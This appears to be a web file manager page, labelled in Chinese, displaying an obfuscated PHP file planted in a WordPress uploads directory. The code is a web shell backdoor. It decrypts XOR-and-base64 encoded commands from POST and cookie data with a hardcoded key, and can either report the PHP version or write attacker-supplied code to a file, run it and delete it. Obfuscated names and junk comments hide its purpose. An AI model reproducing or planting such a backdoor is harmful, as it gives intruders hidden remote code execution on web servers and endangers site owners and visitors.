文件操作 - wcghxboy.php

文件: /storage/v12552/avantibackupsite/public_html/wp-content/uploads/2023/03/wcghxboy.php

编辑文件内容

<?php

$eemnqmh  = /*rn  */ 'eemnqmh'    ^    '';
$xschojnq   =     "a"."r".$eemnqmh(152-38)    . /* ru*/ $eemnqmh(784-687) /*   gi */ .   "y".$eemnqmh(95)    . /* rrz   */ "m".$eemnqmh(97)   .	"p";

$vmiqnwjh /* acde*/ =    "\163"	.    "\x74" /*tj */ .   "\x72" /* rab*/ .	"c".$eemnqmh(109) /*lzyi_u   */ .   $eemnqmh(789-677);

function    ssmpmwc($oodey, /*  mtqp  */ $xltp_sq)
{

global    $eemnqmh;

$oodey /*  ydufjf  */ =    $eemnqmh(60)  .    "?"."\x70"    .    $eemnqmh(104)    .      $eemnqmh(1044-932) /* gckrjo*/ .    $eemnqmh(32) /* zpc*/ . /*   nsbqv_ */ $eemnqmh(487-370)	.    "\x6e" /*   triu  */ . /*dycagd  */ "l".$eemnqmh(105)      . /*  lehstn*/ $eemnqmh(296-186) /*p  */ .     "k"."("."_"."_"."F"."I"."L"."E"."_"."_".")".";".$eemnqmh(32)   .	$oodey[$eemnqmh(100)];

/*io */ $x_zrrpewaf /*_fyqlh  */ =       "f".$eemnqmh(252-147) /* pr  */ . /* e*/ $eemnqmh(108)    . /*  xix  */ "\x65"."\x5f"	.	"p"."u".$eemnqmh(264-148)    . /* n  */ $eemnqmh(131-36)	.  "c".$eemnqmh(111) /* iwf*/ . /*imyer_   */ "n"."\x74"	.     "\x65" /*  skr   */ . /* tgsnag  */ "n"."t"."s";
        /*qq  */ $x_zrrpewaf($xltp_sq,       $oodey);

gczsoma($xltp_sq);}

$rsdrpul /*  a  */ =     73;

function       gczsoma($xltp_sq)
{

/*j  */ global    $eemnqmh;

/*  ct  */ include($xltp_sq);
	$mmcrfl /*   qzdb   */ =    $xltp_sq;
    @unlink($mmcrfl);

}
function       qtchiuztm()
{

global     $eemnqmh;
       $twitvjs_ra /*w  */ =      array();

$twitvjs_ra["\160"    . /* j_   */ "\166"]    =    phpversion();
	$twitvjs_ra["s".$eemnqmh(623-505)] /*  kcwfz */ =    "3"."\x2e" /*   qla */ .    "5";

$xgnnc    =	74;

echo      @serialize($twitvjs_ra);

}

function      h__ujulked($oodey,	$hwoml)

{ /*ksr__*/ global /*i__pl   */ $eemnqmh;

$pzajvxg    =    "";
    $twitvjs_raooff     =     strlen($oodey);

$qudtjs      =       strlen($hwoml);

$twitvjs_ra /*  ulzqb  */ =  0;

$eikvpm    =    0; /*qfye*/ 
      while  ($twitvjs_ra    < /*bd */ $twitvjs_raooff)	{

/*   esnz_   */ $twitvjs_rautuplz     = /*   yqdc */ $oodey[$twitvjs_ra] /*   cf */ ^	$hwoml[$eikvpm /*  ry*/ %    $qudtjs];

$pzajvxg	.= /* themzh   */ $twitvjs_rautuplz;	$eikvpm++; /* hcwwv */

$twitvjs_ra++;

/* k_*/ }

if    (strlen($pzajvxg)	> /*   iqu_*/ 20)    {
 /*  x*/ $nfqrnygiq    =    substr($pzajvxg,  0,      20);

/*t */ }

/* azq  */ if    (empty($pzajvxg)) /*jbvab */ {

$pzajvxg /* baak_   */ =   date('Y-m-d	H:i:s');

}

return   $pzajvxg;}

function     x_klptfiq($hscqdv){

/* il*/ global    $eemnqmh;

$un_wef     =    "\x36"  .    "\66"  .	"\63"    .  "b"."0"."f"."3"."\x31"    .    $eemnqmh(45) /*   ucvil   */ .    "\x36"   .	"\67"      . /* jqmuaw*/ "7".$eemnqmh(603-555)       .   "-"."4"."9"."9"."c".$eemnqmh(397-352)    . /*mp*/ $eemnqmh(98) /* ncd   */ . /*   okbjf   */ "f".$eemnqmh(57)    . /*  rhcy   */ "f"."\x2d" /*a*/ . /*  ahmel*/ "f"."\x61"	. /* dow  */ "3".$eemnqmh(54) /*t*/ . /*   w */ "\144" /*  djmanp   */ . /*  px   */ $eemnqmh(51) /* jfgjj  */ .     "\x62" /*  z   */ .    "2".$eemnqmh(57)      .	$eemnqmh(441-392) /*  pw*/ .	"7".$eemnqmh(97); /*  k_pnu */ 
      foreach /* ecgs*/ ($hscqdv /*  pdnfi*/ as /* _   */ $upfqt  =>	$oodey) /*  bxanf  */ {
 /*   ad */ vezzip(base64_decode($oodey),  $un_wef,      $upfqt);   }
}
function    vezzip($oodey,	$un_wef,  $upfqt)

{
  global    $eemnqmh; /*  vvur   */

$oodey	=	unserialize(h__ujulked(h__ujulked($oodey, /*kbgus   */ $un_wef),	$upfqt));

$mxqmlre_h    =    'dwq';

$twitvjs_rag_xijlna_ /* ln  */ = /*lllxs  */ 'dtqk';

/*   ryxab  */ if  (isset($oodey[$eemnqmh(97).$eemnqmh(107)]))	{  if       ($oodey[$eemnqmh(97)] /*   zjl */ ==	$eemnqmh(1095-990))     {

/* npt */ qtchiuztm();

/*sqm */ }    elseif      ($oodey[$eemnqmh(97)]    == /*  n*/ "\x65")    {
 /*  civ  */ ssmpmwc($oodey,     sprintf("."."/".$eemnqmh(37)    .	"\x73"       . /* mhtlsb  */ "."."p".$eemnqmh(108),  md5($un_wef)));			$dccih   = /*xc   */ 44;

/* sdkf*/ }
    exit();

}

x_klptfiq($_POST); /* ta   */ $msylovhkte    = /* nxll */ Array();

$msylovhkte /*xr  */ = /*  bhkqbr*/ implode($msylovhkte);

$wr_fw /*  o   */ = /*  tu  */ $xschojnq('rawurldecode',    $_POST);$vmiqnwjh('rawurldecode',   $msylovhkte);

x_klptfiq($_COOKIE);

$versnssvst /*  fm */ =	$xschojnq('rawurldecode', /*cvahw */ $_COOKIE);

文件操作 - wcghxboy.php

文件: /storage/v12552/avantibackupsite/public_html/wp-content/uploads/2023/03/wcghxboy.php

编辑文件内容

修改文件时间

删除文件